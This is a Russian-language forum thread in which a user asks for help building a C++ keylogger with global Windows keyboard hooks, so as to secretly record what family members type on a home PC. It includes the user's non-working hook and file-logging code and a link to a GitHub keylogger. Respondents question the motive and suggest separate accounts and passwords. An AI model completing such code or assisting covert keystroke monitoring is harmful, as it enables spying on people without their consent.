Компьютерный форум OSzone.net  

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)
-   Программирование и базы данных (http://forum.oszone.net/forumdisplay.php?f=21)
-   -   Глобальные хуки клавиатуры с++ (http://forum.oszone.net/showthread.php?t=338744)

null999 15-01-2019 17:15 2852406

Глобальные хуки клавиатуры с++
 
Нужно написать простенький кейлогер, на сколько прочитал надо использовать глобальные хуки иначе будет ловить только, когда окно с моей прогой активное
С горем пополам состряпал следующие...компилится, но не работает


#include <stdio.h>
#include <conio.h>
#include <windows.h>


int CALLBACK KeyboardProc(int nCode, DWORD wParam, DWORD lParam)
{

switch(wParam)
{
case WM_KEYDOWN:
MessageBox(NULL, NULL, NULL, 0);
break;
default:
break;
}

return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)&KeyboardProc, GetModuleHandle(NULL), 0);

char ch;
int cha;

FILE *fptr;
HWND stealth;
AllocConsole();


while(1)
{
if (kbhit() )
{
ch = getch();
cha = ch;
fptr = fopen("data.txt", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}

Iska 15-01-2019 19:46 2852439

Цитата:

Цитата null999
Нужно написать простенький кейлогер, »

Вам зачем?

null999 15-01-2019 19:53 2852442

для домашнего пк
нужно отследить нажатие клавиш, что б понять что на нем делается в мое отсутствие
просто поставить пароль на учетную запись не вариант
поможете?

mwz 15-01-2019 20:51 2852462

Цитата:

Цитата null999
для домашнего пк »

А что, готовенькое не подходит? Например, https://vellisa.ru/dnevnik-punto-switcher

Iska 15-01-2019 21:02 2852470

Цитата:

Цитата null999
просто поставить пароль на учетную запись не вариант »

Почему нет?

null999 15-01-2019 21:13 2852474

Iska, пк дома находится, соответственно запрещать им пользоваться не хочу. Пока сегодня искал инфу по поводу написания такого типа программы, то стало интересно написать самому такое, правда с какими-то подсказками, а то зашел в тупик немного
mwz, спасибо, но все таки не хочу пользоваться готовыми решениями

mwz 15-01-2019 21:20 2852476

Цитата:

Цитата null999
соответственно запрещать им пользоваться не хочу »

Ну хоть отдельную учётку для домочадцев сделали, с правами простого пользователя? Если да — то на свою поставить пароль. Если нет — сделать, а на свою поставить пароль. Хотя бы для того, чтобы ничего сбить не могли.

null999 15-01-2019 21:33 2852483

mwz, учётки 2 есть
+ по логах видно, что делали за пк : учились/играли/работали

на сколько понял, то нужно 2 файла создать:
1- .dll
2- .exe
И соответственно подключить библиотеку к exe
Но что именно должно быть в dll, а что в exe?

null999 16-01-2019 15:32 2852642

Iska, так поможете?

Iska 16-01-2019 19:12 2852715

null999, я давно уже не программист :).

opel431 17-01-2019 20:39 2852974

Расширенный keylogger, на C++, работает на Windows 7, 8, 8.1 и 10
https://github.com/htmercury/Cpp-Keylogger


Время: 05:31.

Время: 05:31.
© OSzone.net 2001-